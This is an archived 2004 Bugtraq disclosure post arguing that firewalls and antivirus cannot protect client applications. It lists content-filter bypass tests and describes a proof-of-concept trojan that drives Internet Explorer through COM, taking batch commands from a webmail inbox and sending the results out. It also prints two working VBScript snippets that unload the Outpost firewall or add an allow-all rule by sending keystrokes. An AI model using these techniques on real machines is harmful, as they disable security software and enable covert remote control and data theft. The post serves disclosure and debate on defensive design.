Presentation: Bypassing client application protection techniques with notepad

From: 3APA3A (
Date: 10/28/04

  • Next message: Martin Schulze: "[SECURITY] [DSA 574-1] New cabextract packages fix unintended directory traversal"
    Date: Thu, 28 Oct 2004 16:55:07 +0400
    To: bugtraq <>

    Topic: Bypassing client application protection techniques
    Category: Protection bypass
    Affected products:
     CheckPoint VPN-1(TM) & FireWall-1(R) NG with Application Intelligence
     (R55) HFA 9
     Microsoft Windows XP SP2
     Agnitum Outpost Pro 2.1, 2.5
     Tiny Firewall Pro v6.0.100
     ZoneAlarm Pro with Web Filtering v4.5.594
     BlackICE PC Protection 3.6
     Kerio Personal Firewall 4.0
     WRQ ATGuard 3.2
     offtopic, <>
     3APA3A, <>
    Original link:
    Special thanks to Igor U. Miturin for testing and coordinating
    Checkpoint issues, to Checkpoint for cooperation, to Agnitum for
    "opossum" topic public debates and some ideas.


    This article is neither attempt to teach scriptkiddies to write trojans
    nor attempt to create one by authors. It's a call to security community
    to activate discussion on protection techniques for Internet client
    application security. Yes, we want to fire a flame. We apologies we did
    not contacted vendors on many issues they may consider as security
    vulnerabilities in their products. We believe, to solve discussed
    problem instead of fixing illustrating PoCs, all products must be
    architecturally changed, not patched. Before architectural change any
    schoolboy with scripting skills can get access to corporate network
    protected by advertised product. We share a point of view, this should
    not be treated as product vulnerability.
    <APPLAUSE />
    (yes, pedram).

    1. Introduction

     1.1 Front end security

     Last years were revolutionary for network services infrastructure
     security. In addition to more secure and stable operation systems and
     services, we've got a lot of industrial solutions - stateful firewalls
     with level 7 inspection, intrusion detection and intrusion prevention
     systems, reliable clusters and distributed solutions to fight DDoS
     attacks... And we got actually nothing in the field of client
     application protection. Security of client network applications, such
     as browsers, mail and instant messaging agents is on the same level it
     was 5 years ago, and things became worse, because these applications
     are now critical for business, we can not simply stop using e-mail.
     <APPLAUSE />

     Client application security is very important, because same application
     can be used to process untrusted, potentially dangerous data as well
     as sensitive information.

     We, as many security professionals, have a feeling industry moves to
     wrong direction in the area of client application security. To
     demonstrate this point of view, this article was written. We discuss
     some methods of breaking into managed, protected corporate network
     without any special skills. "Exploits" illustrating this article were
     written with notepad.exe.

     1.2 What do you use to protect your client systems against Internet

     There are very few widely deployed techniques. Among them are: content
     filtering on corporate firewall (including antiviral filtering) and
     personal antiviruses and personal firewalls (PFW). In addition to
     content filtering personal firewalls implement integrity control for
     applications and system by controlling integrity of the files, blocking
     access to some API functions and limiting network access to only
     trusted applications.

     Of cause, there are few really interesting approaches to secure client
     applications, some of them are discussed later, but usually these
     techniques are not generally used.

     1.3 What will we demonstrate.

     We will not teach you how to attack any specific client application.
     Latest Mozilla experience demonstrate, security bug in client
     application can always be found for approximately $500 (should we talk
     about Internet Explorer? Mozilla goes with discounted price because not
     demanded on zombi market). We will try to illustrate, that $500 is,
     probably, all that required to get access to your network. It doesn't
     depend on protection techniques listed above, because protection can be
     bypassed by any schoolboy. If this protection is all you have, you have
     no protection at all. In fact, iDefense makes more for community than
     any PWF vendor (it's not a joke): it pays for newly discovered security
     issue more than shadow market does. At least you have additional $500
     to your security this way.
     Problem of paid vulnerability research is not black-and-white like one
     can believe. Without commercial software or commercial services
     freeware would not survive, because good programmer needs money. Same
     tendencies are in vulnerability research. C'est la vie. We can discuss
     Full-disclosure? Who believe in it...

     So, we proudly present you how to:

     Bypass content filtering for corporate and personal firewall (yes,
     again, and again and again).
     Bypass network access protection for personal firewall
     Bypass integrity protection for personal firewall or antivirus.

     Above is a list of tested products. It's incomplete. Some vendors were
     contacted and replied. Some fixes were published, but none of contacted
     vendors was able to fix all problems discussed. We do not belive it's
     possible in nearest future to prevent corporate network protected only
     with firewalls, personal firewalls and antiviruses from being hacked by
     the schoolboy.

    2. Bypassing content filtering again and again and again
     Axiom: there is always one more way to bypass content filter.

     Explanation: because content filter and client application use
     different algorithms for data processing, there is always data
     processed differently by client application and content filter.

     2.1 Configuration used

     In our configuration we used content filtering features of 2 firewalls:
     Checkpoint as corporate firewall and Agnitum Outpost Pro as a personal
     firewall. Both firewalls were set to filter scripting and ActiveX
     elements. By using few techniques described in [1] we wrote a set of
     tests to attack Internet Explorer protected by these 2 firewalls (and
     additionally with 2 different antiviruses) on 2 different levels to
     execute javascript.

     2.2 Test descriptions:

      Problem with special characters (0x0B) demonstrated. [1].II.9
      Problem with RFC2781 decoding (UTF-16, little endian). [1].II.1

      Problem with RFC2781 decoding (UTF-16, big endian). [1].II.1

      Different approach of different clients to content type definition [1].II.13
      Same as 2.2.4 + exploitation of stream buffering.

      Problem with special characters (0x00) demonstrated. [1].II.9

      Inability to parse UTF-7 encoding (with Content-Type) [1].II.2

      Inability to parse UTF-7 encoding (with Meta http-equiv) [1].II.2

      Inability to catch scripting via expression(). Was described by
      http-equiv (

      Inability to catch scripting in styles [1].II.15
      Inability to parse MHT files (RFC 2557)

      Content filtering bypass techniques used are known for years. Outpost
      failed all tests. Checkpoint failed 2.2.2, 2.2.3, 2.2.6, 2.2.8, 2.2.9,
      2.2.10, 2.2.11.

     2.3 Vendors:

      Both Checkpoint and Agnitum were contacted. Checkpoint covers issues
      discussed in R55HFA10. 2.2.10 and 2.2.11 additionally require
      disabling CSS and MHT with special settings (I do not believe it can
      be accepted as solution). Agnitum fixes very few issues in Outpost 2.5
      version. Please, check your own content filter before blaming Agnitum
      or Checkpoint.

    3. Bypassing network access restrictions with trusted application
     Axiom: Malware is undistinguishable from user application

      Next step after successful client application attack is usually
      getting remote control on attacked computer.

      Personal firewall usually restricts access to network to the list of
      allowed application. In addition, integrity of these applications is
      controlled to prevent code insertion into executable file. It makes it
      impossible to install trojan application with direct network access.

      Common idea behind bypassing this protection is using trusted
      application (for example browser) to access external network. Usually,
      execution flow of target application with DLL injection technique,
      WriteProcessMemory(), CreateRemoteThread() or something like this. You
      can find description in [1] and [2]. These methods require programming
      skills, additionally, personal firewall could set a hooks to protect
      against this kind of attack. Additionally, trojan application in this
      case should implement almost all network functions, including
      network topology discovery and proxy communication.

      Additionally, access of client application can be limited only to a
      list of trusted sites.

      Our approach is very simple. We call it CAT (Client Application
      Trojaning). We use trusted application itself without attempt to hack
      into it's code..
      is simple PoC application. CAT uses COM to launch and control client
      application (Internet Explorer). This allows practically full access
      to the IE recourses, so we can ask IE to navigate to our site, and IE
      will use its proxy's and other settings. We don't need to include
      http-client code in our application - IE does all work for us.

      Another interesting thing - it's a work via trusted sites. In our
      example Trojan uses server to communicate with bad guy,
      but it easy to use other trusted network services, for example
      Google's proxy
      Additionally almost any search system can be used as proxy with only
      limitation that each iteration may require few days.
      This CAT PoC works as next:

      - It creates IE COM object, navigates to site.
      - CAT passes username and password to the site, and gets access to mailbox
      - CAT sends notification message "ready" to specified mailbox
      - Every 20 seconds CAT checks mailbox for messages with XXX.request
        subject (XXX - integer number).
      - If message appears in mailbox, CAT reads it, deletes message, and
        process it's data as a batch file.
      - Execution results are send to predefined account.

      remove IE.Visible = true
      line to run application in hidden mode.

      All this great functionality lies in 100 lines of VBS. You see, Basic
      can be more effective than assembler.
      ILOVEYOU and another scripting viruses demonstrated application like
      this can be written by 14 y.o. schoolboys. VBS can be executed from
      Microsoft Office applications, Windows Explorer, Internet Explorer,

      All personal firewalls tested, except Outpost 2.5 failed to detect
      information leak with this script. Outpost 2.5 requires minor
      modification for original script to start one additional IE instance
      before launching IE via COM, script modification is set as homework.

    4. Bypassing personal firewall integrity protection
     Axiom: Malware is undistinguishable from user

      This script unloads Outpost firewall (any version)

           set WShell = CreateObject("WScript.Shell")

           WShell.Exec "C:\Program Files\Agnitum\Outpost Firewall\outpost.exe"
           WScript.Sleep 200
           WShell.AppActivate "Agnitum", TRUE
           WScript.Sleep 100
           WShell.SendKeys "{F10}{DOWN}{UP}{ENTER}"
           WScript.Sleep 100
           WShell.SendKeys "{ENTER}"

      Another one creates a rule to permit Internet access for all

           set WShell = CreateObject("WScript.Shell")

           WShell.Exec "C:\Program Files\Agnitum\Outpost Firewall\outpost.exe"
           WScript.Sleep 100
           WShell.AppActivate "Agnitum", TRUE
           WScript.Sleep 10
           WShell.SendKeys "{F10}{LEFT}{LEFT}{LEFT}"
           WScript.Sleep 10
           WShell.SendKeys "{DOWN}{DOWN}{DOWN}{DOWN}{ENTER}"
           WScript.Sleep 10
           WShell.SendKeys "a{ENTER}"
           WScript.Sleep 10
           WShell.SendKeys "{F10}{LEFT}{DOWN}"
           WScript.Sleep 10
           WShell.SendKeys "n"


    5. Final noise.
     Axiom: There is no cure against unknown Malware. There are no Axioms in
     client application protection.

     The only way to somehow secure client application is implementing
     sandbox for any application to work with untrusted data. There are
     attempts to implement such sandbox without limiting it's functionality,
     for example GeSWall [4](by the way this project is looking for sponsor
     on investor). There are few commercial solutions of this kind, I do not
     believe any of this solution provides reliable security for Internet
     client application. Virtual machines for most architectures also have
     known flaws. Most reliable way to protect client application for now is
     creation of additional DMZ for application servers and providing
     terminal access to untrusted applications inside DMZ. Configuration
     example can be found in [5]. Of cause, this approach is not 100%
     reliable too.

     That's all.


    6. Links:

    [1] 3APA3A, Bypassing content filtering software
    [2] Firewall leak tester
    [3] rattle, Using Process Infection to Bypass Windows Software Firewalls
    [4] GeSWall (General Systems Wall)
    [5] offtopic, 3APA3A, "In front of front-end security"

    <WARNING: SARCASM tag was not open within document \>
    <WARNING: SARCASM tag was not closed within document \>


  • Next message: Martin Schulze: "[SECURITY] [DSA 574-1] New cabextract packages fix unintended directory traversal"

    Relevant Pages